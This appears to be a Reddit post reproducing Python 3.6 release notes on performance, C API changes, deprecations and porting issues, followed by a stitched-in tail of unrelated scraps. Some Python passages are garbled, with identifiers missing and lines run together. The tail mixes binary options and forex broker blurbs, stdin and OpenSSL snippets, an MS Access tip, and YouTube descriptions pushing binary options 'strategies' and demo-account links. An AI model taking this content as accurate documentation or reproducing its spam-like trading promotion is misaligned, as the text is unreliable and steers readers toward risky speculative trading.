  • The UTF-8 encoder is now up to 75 times as fast for error handlers ignore, replace, surrogateescape, surrogatepass (Contributed by Victor Stinner in bpo-25267).
  • The UTF-8 decoder is now up to 15 times as fast for error handlers ignore, replace and surrogateescape (Contributed by Victor Stinner in bpo-25301).
  • bytes % args is now up to 2 times faster. (Contributed by Victor Stinner in bpo-25349). bytearray % args is now between 2.5 and 5 times faster. (Contributed by Victor Stinner in bpo-25399).
  • Optimize bytes.fromhex() and bytearray.fromhex(): they are now between 2x and 3.5x faster. (Contributed by Victor Stinner in bpo-25401).
  • Optimize bytes.replace(b'', b'.') and bytearray.replace(b'', b'.'): up to 80% faster. (Contributed by Josh Snider in bpo-26574).
  • Allocator functions of the PyMem_Malloc() domain (PYMEM_DOMAIN_MEM) now use the pymalloc memory allocator instead of malloc() function of the C library. The pymalloc allocator is optimized for objects smaller or equal to 512 bytes with a short lifetime, and use malloc() for larger memory blocks. (Contributed by Victor Stinner in bpo-26249).
  • pickle.load() and pickle.loads() are now up to 10% faster when deserializing many small objects (Contributed by Victor Stinner in bpo-27056).
  • Passing keyword arguments to a function has an overhead in comparison with passing positional arguments. Now in extension functions implemented with using Argument Clinic this overhead is significantly decreased. (Contributed by Serhiy Storchaka in bpo-27574).
  • Optimized glob() and iglob() functions in the glob module; they are now about 3–6 times faster. (Contributed by Serhiy Storchaka in bpo-25596).
  • Optimized globbing in pathlib by using os.scandir(); it is now about 1.5–4 times faster. (Contributed by Serhiy Storchaka in bpo-26032).
  • xml.etree.ElementTree parsing, iteration and deepcopy performance has been significantly improved. (Contributed by Serhiy Storchaka in bpo-25638, bpo-25873, and bpo-25869.)
  • Creation of fractions.Fraction instances from floats and decimals is now 2 to 3 times faster. (Contributed by Serhiy Storchaka in bpo-25971.)

Build and C API Changes

Python now requires some C99 support in the toolchain to build. Most notably, Python now uses standard integer types and macros in place of custom macros like PY_LONG_LONG. For more information, see PEP 7 and bpo-17884.
Cross-compiling CPython with the Android NDK and the Android API level set to 21 (Android 5.0 Lollilop) or greater runs successfully. While Android is not yet a supported platform, the Python test suite runs on the Android emulator with only about 16 tests failures. See the Android meta-issue bpo-26865.
The --enable-optimizations configure flag has been added. Turning it on will activate expensive optimizations like PGO. (Original patch by Alecsandru Patrascu of Intel in bpo-26359.)
The GIL must now be held when allocator functions of PYMEM_DOMAIN_OBJ (ex: PyObject_Malloc()) and PYMEM_DOMAIN_MEM (ex: PyMem_Malloc()) domains are called.
New Py_FinalizeEx() API which indicates if flushing buffered data failed. (Contributed by Martin Panter in bpo-5319.)
PyArg_ParseTupleAndKeywords() now supports positional-only parameters. Positional-only parameters are defined by empty names. (Contributed by Serhiy Storchaka in bpo-26282). PyTraceback_Print method now abbreviates long sequences of repeated lines as "[Previous line repeated {count} more times]". (Contributed by Emanuel Barry in bpo-26823.)
The new PyErr_SetImportErrorSubclass() function allows for specifying a subclass of ImportError to raise. (Contributed by Eric Snow in bpo-15767.)
The new PyErr_ResourceWarning() function can be used to generate a ResourceWarning providing the source of the resource allocation. (Contributed by Victor Stinner in bpo-26567.)
The new PyOS_FSPath() function returns the file system representation of a path-like object. (Contributed by Brett Cannon in bpo-27186.)
The PyUnicode_FSConverter() and PyUnicode_FSDecoder() functions will now accept path-like objects.
The PyExc_RecursionErrorInst singleton that was part of the public API has been removed as its members being never cleared may cause a segfault during finalization of the interpreter. Contributed by Xavier de Gaye in bpo-22898 and bpo-30697.

Other Improvements

When --version (short form: -V) is supplied twice, Python prints sys.version for detailed information.
$ ./python -VVPython 3.6.0b4+ (3.6:223967b49e49+, Nov 21 2016, 20:55:04)[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.42.1)]


New Keywords

async and await are not recommended to be used as variable, class, function or module names. Introduced by PEP 492 in Python 3.5, they will become proper keywords in Python 3.7. Starting in Python 3.6, the use of async or await as names will generate a DeprecationWarning.

Deprecated Python behavior

Raising the StopIteration exception inside a generator will now generate a DeprecationWarning, and will trigger a RuntimeError in Python 3.7. See PEP 479: Change StopIteration handling inside generators for details.
The aiter() method is now expected to return an asynchronous iterator directly instead of returning an awaitable as previously. Doing the former will trigger a DeprecationWarning. Backward compatibility will be removed in Python 3.7. (Contributed by Yury Selivanov in bpo-27243.)
A backslash-character pair that is not a valid escape sequence now generates a DeprecationWarning. Although this will eventually become a SyntaxError, that will not be for several Python releases. (Contributed by Emanuel Barry in bpo-27364.)
When performing a relative import, falling back on name and path from the calling module when spec or package are not defined now raises an ImportWarning. (Contributed by Rose Ames in bpo-25791.)
Deprecated Python modules, functions and methods


The asynchat has been deprecated in favor of asyncio. (Contributed by Mariatta in bpo-25002.)


The asyncore has been deprecated in favor of asyncio. (Contributed by Mariatta in bpo-25002.)


Unlike other dbm implementations, the dbm.dumb module creates databases with the 'rw' mode and allows modifying the database opened with the 'r' mode. This behavior is now deprecated and will be removed in 3.8. (Contributed by Serhiy Storchaka in bpo-21708.)


The undocumented extra_path argument to the Distribution constructor is now considered deprecated and will raise a warning if set. Support for this parameter will be removed in a future Python release. See bpo-27919 for details.


The support of non-integer arguments in getgrgid() has been deprecated. (Contributed by Serhiy Storchaka in bpo-26129.)


The importlib.machinery.SourceFileLoader.load_module() and importlib.machinery.SourcelessFileLoader.load_module() methods are now deprecated. They were the only remaining implementations of in importlib that had not been deprecated in previous versions of Python in favour of
The importlib.machinery.WindowsRegistryFinder class is now deprecated. As of 3.6.0, it is still added to sys.meta_path by default (on Windows), but this may change in future releases.


Undocumented support of general bytes-like objects as paths in os functions, compile() and similar functions is now deprecated. (Contributed by Serhiy Storchaka in bpo-25791 and bpo-26754.)


Support for inline flags (?letters) in the middle of the regular expression has been deprecated and will be removed in a future Python version. Flags at the start of a regular expression are still allowed. (Contributed by Serhiy Storchaka in bpo-22493.)


OpenSSL 0.9.8, 1.0.0 and 1.0.1 are deprecated and no longer supported. In the future the ssl module will require at least OpenSSL 1.0.2 or 1.1.0.
SSL-related arguments like certfile, keyfile and check_hostname in ftplib, http.client, imaplib, poplib, and smtplib have been deprecated in favor of context. (Contributed by Christian Heimes in bpo-28022.)
A couple of protocols and functions of the ssl module are now deprecated. Some features will no longer be available in future versions of OpenSSL. Other features are deprecated in favor of a different API. (Contributed by Christian Heimes in bpo-28022 and bpo-26470.)


The tkinter.tix module is now deprecated. tkinter users should use tkinter.ttk instead.


The pyvenv script has been deprecated in favour of python3 -m venv. This prevents confusion as to what Python interpreter pyvenv is connected to and thus what Python interpreter will be used by the virtual environment. (Contributed by Brett Cannon in bpo-25154.)

Deprecated functions and types of the C API

Undocumented functions PyUnicode_AsEncodedObject(), PyUnicode_AsDecodedObject(), PyUnicode_AsEncodedUnicode() and PyUnicode_AsDecodedUnicode() are deprecated now. Use the generic codec based API instead.

Deprecated Build Options

The --with-system-ffi configure flag is now on by default on non-macOS UNIX platforms. It may be disabled by using --without-system-ffi, but using the flag is deprecated and will not be accepted in Python 3.7. macOS is unaffected by this change. Note that many OS distributors already use the --with-system-ffi flag when building their system Python.


API and Feature Removals

  • Unknown escapes consisting of '\' and an ASCII letter in regular expressions will now cause an error. In replacement templates for re.sub() they are still allowed, but deprecated. The re.LOCALE flag can now only be used with binary patterns.
  • inspect.getmoduleinfo() was removed (was deprecated since CPython 3.3). inspect.getmodulename() should be used for obtaining the module name for a given path. (Contributed by Yury Selivanov in bpo-13248.)
  • traceback.Ignore class and traceback.usage, traceback.modname, traceback.fullmodname, traceback.find_lines_from_code, traceback.find_lines, traceback.find_strings,
  • traceback.find_executable_lines methods were removed from the traceback module. They were undocumented methods deprecated since Python 3.2 and equivalent functionality is available from private methods.
  • The tk_menuBar() and tk_bindForTraversal() dummy methods in tkinter widget classes were removed (corresponding Tk commands were obsolete since Tk 4.0).
  • The open() method of the zipfile.ZipFile class no longer supports the 'U' mode (was deprecated since Python 3.4). Use io.TextIOWrapper for reading compressed text files in universal newlines mode.
  • The undocumented IN, CDROM, DLFCN, TYPES, CDIO, and STROPTS modules have been removed.
  • They had been available in the platform specific Lib/plat-*/ directories, but were chronically out of date, inconsistently available across platforms, and unmaintained. The script that created these modules is still available in the source distribution at Tools/scripts/
*The deprecated asynchat.fifo class has been removed.

Porting to Python 3.6

  • This section lists previously described changes and other bugfixes that may require changes to your code.

Changes in ‘python’ Command Behavior

8 The output of a special Python build with defined COUNT_ALLOCS, SHOW_ALLOC_COUNT or SHOW_TRACK_COUNT macros is now off by default. It can be re-enabled using the -X showalloccount option. It now outputs to stderr instead of stdout. (Contributed by Serhiy Storchaka in bpo-23034.)

Changes in the Python API

  • open() will no longer allow combining the 'U' mode flag with '+'. (Contributed by Jeff Balogh and John O’Connor in bpo-2091.)
  • sqlite3 no longer implicitly commits an open transaction before DDL statements.
  • On Linux, os.urandom() now blocks until the system urandom entropy pool is initialized to increase the security.
  • When is defined, must also be defined.
  • PyErr_SetImportError() now sets TypeError when its msg argument is not set. Previously only NULL was returned.
  • The format of the co_lnotab attribute of code objects changed to support a negative line number delta. By default, Python does not emit bytecode with a negative line number delta. Functions using frame.f_lineno, PyFrame_GetLineNumber() or PyCode_Addr2Line() are not affected. Functions directly decoding co_lnotab should be updated to use a signed 8-bit integer type for the line number delta, but this is only required to support applications using a negative line number delta. See Objects/lnotab_notes.txt for the co_lnotab format and how to decode it, and see the PEP 511 for the rationale.
  • The functions in the compileall module now return booleans instead of 1 or 0 to represent success or failure, respectively. Thanks to booleans being a subclass of integers, this should only be an issue if you were doing identity checks for 1 or 0. See bpo-25768.
  • Reading the port attribute of urllib.parse.urlsplit() and urlparse() results now raises ValueError for out-of-range values, rather than returning None. See bpo-20059.
  • The imp module now raises a DeprecationWarning instead of PendingDeprecationWarning.
  • The following modules have had missing APIs added to their all attributes to match the documented APIs: calendar, cgi, csv, ElementTree, enum, fileinput, ftplib, logging, mailbox, mimetypes, optparse, plistlib, smtpd, subprocess, tarfile, threading and wave. This means they will export new symbols when import * is used. (Contributed by Joel Taddei and Jacek Kołodziej in bpo-23883.)
  • When performing a relative import, if package does not compare equal to spec.parent then ImportWarning is raised. (Contributed by Brett Cannon in bpo-25791.)
  • When a relative import is performed and no parent package is known, then ImportError will be raised. Previously, SystemError could be raised. (Contributed by Brett Cannon in bpo-18018.)
  • Servers based on the socketserver module, including those defined in http.server, xmlrpc.server and wsgiref.simple_server, now only catch exceptions derived from Exception. Therefore if a request handler raises an exception like SystemExit or KeyboardInterrupt, handle_error() is no longer called, and the exception will stop a single-threaded server. (Contributed by Martin Panter in bpo-23430.)
  • spwd.getspnam() now raises a PermissionError instead of KeyError if the user doesn’t have privileges.
  • The socket.socket.close() method now raises an exception if an error (e.g. EBADF) was reported by the underlying system call. (Contributed by Martin Panter in bpo-26685.)
  • The decode_data argument for the smtpd.SMTPChannel and smtpd.SMTPServer constructors is now False by default. This means that the argument passed to process_message() is now a bytes object by default, and process_message() will be passed keyword arguments. Code that has already been updated in accordance with the deprecation warning generated by 3.5 will not be affected.
  • All optional arguments of the dump(), dumps(), load() and loads() functions and JSONEncoder and JSONDecoder class constructors in the json module are now keyword-only. (Contributed by Serhiy Storchaka in bpo-18726.)
  • Subclasses of type which don’t override may no longer use the one-argument form to get the type of an object.
  • As part of PEP 487, the handling of keyword arguments passed to type (other than the metaclass hint, metaclass) is now consistently delegated to object.init_subclass(). This means that and type.init() both now accept arbitrary keyword arguments, but object.init_subclass() (which is called from will reject them by default. Custom metaclasses accepting additional keyword arguments will need to adjust their calls to (whether direct or via super) accordingly.
  • In distutils.command.sdist.sdist, the default_format attribute has been removed and is no longer honored. Instead, the gzipped tarfile format is the default on all platforms and no platform-specific selection is made. In environments where distributions are built on Windows and zip distributions are required, configure the project with a setup.cfg file containing the following:
This behavior has also been backported to earlier Python versions by Setuptools 26.0.0.
  • In the urllib.request module and the http.client.HTTPConnection.request() method, if no Content-Length header field has been specified and the request body is a file object, it is now sent with HTTP 1.1 chunked encoding. If a file object has to be sent to a HTTP 1.0 server, the Content-Length value now has to be specified by the caller. (Contributed by Demian Brecht and Rolf Krahl with tweaks from Martin Panter in bpo-12319.)
  • The DictReader now returns rows of type OrderedDict. (Contributed by Steve Holden in bpo-27842.)
  • The crypt.METHOD_CRYPT will no longer be added to crypt.methods if unsupported by the platform. (Contributed by Victor Stinner in bpo-25287.)
  • The verbose and rename arguments for namedtuple() are now keyword-only. (Contributed by Raymond Hettinger in bpo-25628.)
  • On Linux, ctypes.util.find_library() now looks in LD_LIBRARY_PATH for shared libraries. (Contributed by Vinay Sajip in bpo-9998.)
  • The imaplib.IMAP4 class now handles flags containing the ']' character in messages sent from the server to improve real-world compatibility. (Contributed by Lita Cho in bpo-21815.)
  • The mmap.write() function now returns the number of bytes written like other write methods. (Contributed by Jakub Stasiak in bpo-26335.)
  • The pkgutil.iter_modules() and pkgutil.walk_packages() functions now return ModuleInfo named tuples. (Contributed by Ramchandra Apte in bpo-17211.)
  • re.sub() now raises an error for invalid numerical group references in replacement templates even if the pattern is not found in the string. The error message for invalid group references now includes the group index and the position of the reference. (Contributed by SilentGhost, Serhiy Storchaka in bpo-25953.)
  • zipfile.ZipFile will now raise NotImplementedError for unrecognized compression values. Previously a plain RuntimeError was raised. Additionally, calling ZipFile methods on a closed ZipFile or calling the write() method on a ZipFile created with mode 'r' will raise a ValueError. Previously, a RuntimeError was raised in those scenarios.
  • when custom metaclasses are combined with zero-argument super() or direct references from methods to the implicit class closure variable, the implicit classcell namespace entry must now be passed up to for initialisation. Failing to do so will result in a DeprecationWarning in 3.6 and a RuntimeWarning in the future.

Changes in the C API

The PyMem_Malloc() allocator family now uses the pymalloc allocator rather than the system malloc(). Applications calling PyMem_Malloc() without holding the GIL can now crash. Set the PYTHONMALLOC environment variable to debug to validate the usage of memory allocators in your application. See bpo-26249.
Py_Exit() (and the main interpreter) now override the exit status with 120 if flushing buffered data failed. See bpo-5319.

CPython bytecode changes

There have been several major changes to the bytecode in Python 3.6. The Python interpreter now uses a 16-bit wordcode instead of bytecode. (Contributed by Demur Rumed with input and reviews from Serhiy Storchaka and Victor Stinner in bpo-26647 and bpo-28050.)
The new FORMAT_VALUE and BUILD_STRING opcodes as part of the formatted string literal implementation. (Contributed by Eric Smith in bpo-25483 and Serhiy Storchaka in bpo-27078.) The new BUILD_CONST_KEY_MAP opcode to optimize the creation of dictionaries with constant keys. (Contributed by Serhiy Storchaka in bpo-27140.)
The function call opcodes have been heavily reworked for better performance and simpler implementation. The MAKE_FUNCTION, CALL_FUNCTION, CALL_FUNCTION_KW and BUILD_MAP_UNPACK_WITH_CALL opcodes have been modified, the new CALL_FUNCTION_EX and BUILD_TUPLE_UNPACK_WITH_CALL have been added, and CALL_FUNCTION_VAR, CALL_FUNCTION_VAR_KW and MAKE_CLOSURE opcodes have been removed. (Contributed by Demur Rumed in bpo-27095, and Serhiy Storchaka in bpo-27213, bpo-28257.)
The new SETUP_ANNOTATIONS and STORE_ANNOTATION opcodes have been added to support the new variable annotation syntax. (Contributed by Ivan Levkivskyi in bpo-27985.)

Notable changes in Python 3.6.2

New make regen-all build target

To simplify cross-compilation, and to ensure that CPython can reliably be compiled without requiring an existing version of Python to already be available, the autotools-based build system no longer attempts to implicitly recompile generated files based on file modification times.
Instead, a new make regen-all command has been added to force regeneration of these files when desired (e.g. after an initial version of Python has already been built based on the pregenerated versions).
More selective regeneration targets are also defined - see for details.
New in version 3.6.2.

Removal of make touch build target

The make touch build target previously used to request implicit regeneration of generated files by updating their modification times has been removed. It has been replaced by the new make regen-all target.
Changed in version 3.6.2.

Notable changes in Python 3.6.5

The locale.localeconv() function now sets temporarily the LC_CTYPE locale to the LC_NUMERIC locale in some cases.

End of the Document

submitted by Marco_Diaz_SVFOE to EasyLearnProgramming [link] [comments]

Binary and Computer Science All-in-One Tutorial Series (5 HOURS!) Forex Trading VS Binary Options Trading Philippines How To Make $75 an Hour Online 2020  Nadex binary options ... Best Binary Options Strategy 2020 - 2 Min Strategy Live ... BINARY OPTIONS STRATEGY- Binary Options Newest Method 2020 GTOptions -- How to Open a Binary Options Trading Account How to Open Real Account Forex Trading _ Binary option news

While Binary Trading Club is dedicated to bringing you the very best in ratings and recommendations for binary & forex brokers and service providers, it is important to note that Forex, Binary Options, CFDs and Spread Betting are highly speculative in nature and involve substantial risk. Investors should be fully aware of the risks involved and solely accept any and all negative consequences ... On Windows, R does not read/write bytes content correctly for stdin/stdout. So content-length header is not handled for many Language Server Clients. This change set O_BINARY to stdin/stdout. Friday, October 14, 2016. C Read Stdin Binary Options Using MT5 to trade binary options will give a trader an advantage and will help make better trades. Getting Started. To begin using MetaTrader 5, simply go to their website and download the client software. It is free and the installation process is very straightforward. MT5 is available on iOS, Android, and PC devices, though their mobile versions are not as powerful as the Windows MT5. They ... Here is the final cut for Linux/Windows Python 2/3 compatible code to read data from stdin without corruption: import sys PY3K = sys.version_info >= (3, 0) if PY3K: source = sys.stdin.buffer else: # Python 2 on Windows opens sys.stdin in text mode, and # binary data that read from it becomes corrupted on \r\n if sys.platform == "win32": # set sys.stdin to binary mode import os, msvcrt msvcrt ... The entry point for the OpenSSL library is the openssl binary, usually /usr/bin/openssl on Linux. The general syntax for calling openssl is as follows: $ openssl command [ command_options ] [ command_arguments ] Alternatively, you can call openssl without arguments to enter the interactive mode prompt. You may then enter commands directly, exiting with either a quit command or by issuing a ... Open stdin as binary options November 07, 2017 Get link; Facebook; Twitter; Pinterest; Email; Other Apps Unlike the traditional financial markets, traders can open a binary options trading account for a very small initial investment, with several binary options brokers offering their services for a very insignificant amount. The average investment required for a binary options account is $250, but some companies offer binary options products and services for a small investment of $1. There are ... Then open the MSysObjects table in design view, and copy the Owner column using either Copy from the context menu or [CTRL]+[C] on the keyboard, then open your own table in design view and simple paste the copied field using the context menu or [CTRL]+[V]. You can then rename the field and adjust its length. – This is a variable length Binary column then. There is no fixed length Binary ... Binary options vs Stock options Another big difference that occurs is your range of assets that you have available. Many people like to trade different assets—for example, stocks and gold—but doing this requires you to function at several different levels at one time. You need to have your stock broker’s site open, your commodity broker’s page needs to be open, and you need to have two ...

[index] [14338] [10772] [3860] [22198] [21659] [17689] [8424] [6151] [436] [8679]

Binary and Computer Science All-in-One Tutorial Series (5 HOURS!)

Open Binary Account: Tags: binary options hedging strategy binary options halal binary options how it works binary options hack binary ... -- This video explains in step-by-step detail how to open a free GTOptions binary options trading account. For more information visit w... Glad this video helped, no more products for sale no more courses either, study the videos they will teach you everything you need to become a 6 and 7 figure... 03:11:14 - Quickly Convert Decimal Numbers to Binary 03:17:13 - Intro to Operating Systems 03:51:47 - Hacking - Intro to Cross Site Scripting (XSS) 04:23:27 - Intro to FOSS - Free and Open Source ... How to Open Real Account Forex Trading _ Binary option news ic markets -----... Best Binary Options Brokers for this Strategy: 1. 💲💹IQ Option FREE DEMO: 2. 💲💹Pocket Option FREE DEMO: http Binary options is arguably the speediest increasing fiscal trade. A lot of here men and women how to trade binary options all over the globe are actually being attentive to the trade, when ...